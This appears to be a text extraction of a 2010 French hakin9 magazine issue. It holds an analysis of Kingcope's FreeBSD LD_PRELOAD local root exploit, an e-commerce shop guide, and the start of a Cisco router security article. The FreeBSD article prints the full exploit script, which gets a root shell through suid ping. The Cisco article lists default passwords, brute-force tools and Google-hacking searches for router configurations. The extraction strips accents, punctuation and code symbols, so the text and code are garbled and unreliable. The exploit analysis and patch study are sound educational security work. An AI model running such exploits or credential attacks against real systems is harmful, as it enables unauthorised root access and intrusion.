FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 7: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Boutiques online

hakin9orgfr 9

deuxiegraveme temps il srsquoagit de suivre vos ventes les produits les plus et les moins vendus etchellip pour affi-ner votre offre Drsquoailleurs rester attentif au prix de la concurrence est essentiel pour rester dans la course sur internet

Les fonctionnaliteacutes le but premier dune boutique en ligne est de permettre aux internautes drsquoacheter vos produits Maintenant dans votre projet il faut deacute-finir tout ce que vous souhaitez proposer sur votre si-te Cela peut concerner lrsquooffre commerciale avec des fonctions de fideacutelisation de recommandation produit entre ami de produits associeacuteshellip Mais aussi des fonc-tionnaliteacutes plus techniques comme proposer une re-cherche avanceacutee de votre produit ou lrsquoaffichage du panier Il nrsquoy a pas de recettes magiques ni de fonc-tionnaliteacutes miracles pour geacuteneacuterer des ventes si ce nrsquoest de bien reacutefleacutechir agrave lrsquoadeacutequation entre votre offre produit et les fonctionnaliteacutes disponibles Par exemple une recherche avanceacutee sera pertinente pour un mar-chand drsquoampoules (en termes de tailles puissances formeshellip) mais pas forceacutement pour une eacutepicerie en ligne ougrave des cateacutegories bien faites seront suffisantes De mecircme qursquoune offre de fideacuteliteacute aura plus de sens sur une boutique de pueacutericulture que pour un concession-naire automobile

Lrsquoabandon du panier un des problegravemes du e-com-merce est la gestion de lrsquoabandon du panier Combien drsquointernautes simulent un achat sur une boutique en ligne mais ne procegravede pas au paiement Pour livrer les clients le commerccedilant a besoin drsquoun certain nom-bre drsquoinformations pour la facture et la livraison Plu-sieurs scheacutemas fonctionnent mais la tendance est de raccourcir les eacutetapes de validation de paiement Geacute-neacuteralement le processus de commande se deacuteroule en 5 eacutetapes validation du panier creacuteation drsquoun compte client entreacutee des informations personnelles entreacutee des informations de livraisons et paiement Ce pro-cessus se reacutepegravete agrave chaque boutique Lrsquointernaute veut que ce soit le plus simple possible De plus plus vite il atteindra la page de paiement moins il aura le loisir de penser agrave abandonner sa commande Agrave lexception de lrsquooptimisation de ce chemin de commande il exis-te des moyens drsquoidentification rapides tels OrangeID ou OpenID qui permettent via un identifiant geacuteneacuteral de remplir par deacutefaut les informations clients Ceci deacute-gage lrsquointernaute de la saisie reacutepeacutetitive de ces infor-mations et il accegravede plus vite au paiement Une autre astuce pour traiter ces abandons de panier est tout simplement de les repeacuterer et de pouvoir leur renvoyer un e-mail de relance agrave partir du moment ougrave le client potentiel a indiqueacute ses coordonneacutees

Les choix de paiement le moyen de paiement est indissociable de la boutique en ligne Derniegravere eacuteta-pe de la commande le commerccedilant propose agrave lrsquoin-ternaute les moyens de paiement qursquoil souhaite De nombreuses solutions de paiement sont accessibles

Le reacutefeacuterencement crsquoest le point primordial pour exister sur internet Creacuteer un site est simple le fai-re connaicirctre beaucoup moins Le reacutefeacuterencement pas-se par plusieurs canaux certains gratuits drsquoautres payants mais le but reste le mecircme ecirctre vu par le maximum drsquointernautes Les outils payants de reacutefeacuteren-cement le plus connu eacutetant Google Adwords permet-tent drsquoapparaicirctre en bonne position plus rapidement mais leurs coucircts sont parfois importants surtout au deacutepart Cela vous permet drsquoecirctre afficheacute dans les liens commerciaux en haut ou sur le cocircteacute des pages de re-cherches sur les expressions que vous avez choisies Le reacutefeacuterencement naturel est au contraire un travail de longue haleine dont le coucirct principal sera le temps que vous passerez agrave optimiser votre site Des contraintes techniques sont dans un premier temps neacutecessaires pour rendre votre boutique en ligne laquo Google friendly raquo comme le code des pages en XHTML le respect des normes internationales W3C la reacuteeacutecriture drsquourl ou en-core la soumission reacuteguliegravere du sitemap agrave lrsquoattention des moteurs de recherche Ensuite tout le travail se situe dans le texte de votre site Les moteurs de re-cherches indexent les sites sur des expressions don-neacutees si elles sont preacutesentes et reacutecurrentes dans le si-te et agrave des endroits importants comme les titres Vous pouvez eacutegalement deacutevelopper un systegraveme de liens entre votre boutique et drsquoautres sites pour renforcer la creacutedibiliteacute de votre boutique toujours pour les mo-teurs de recherche Crsquoest un travail de fourmi qui plus est reacutecurrent puisque la vie drsquoun site est aussi un cri-tegravere pour ameacuteliorer le reacutefeacuterencement Crsquoest la partie la plus difficile drsquoun site de e-commerce car la place drsquoune boutique dans les pages de recherches bouge en permanence Mais avoir un site ne suffit pas agrave geacute-neacuterer des ventes

La navigation lrsquointernaute doit pouvoir naviguer dans votre boutique de maniegravere intuitive et claire De nombreux choix sont agrave faire tels que la place du ou des menus les diffeacuterentes cateacutegories sous-cateacutego-ries si neacutecessaire Le but de la navigation est que lrsquoin-ternaute voit votre offre mais surtout qursquoil puisse ac-ceacuteder sans difficulteacute agrave ce qursquoil cherche Faciliter son chemin eacutevite les risques de sorties intempestives de la boutique

Le suivi du site certaines donneacutees sont essen-tielles pour la viabiliteacute drsquoun site Avec une boutique en ligne hormis les commandes que vous recevez peu drsquoinformations sont accessibles sur le parcours de lrsquointernaute Cependant ces informations sont in-dispensables pour ameacuteliorer votre boutique Il srsquoagit en premier lieu du trafic geacuteneacutereacute en termes de visi-tes mais il est eacutegalement important de connaicirctre les sources de trafic les pages vues le temps passeacute sur le site les pages de sortieshellip Ce sont des indices sur la qualiteacute de votre site qui vous aident agrave ameacuteliorer la reacutetention des internautes sur votre site Dans un

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

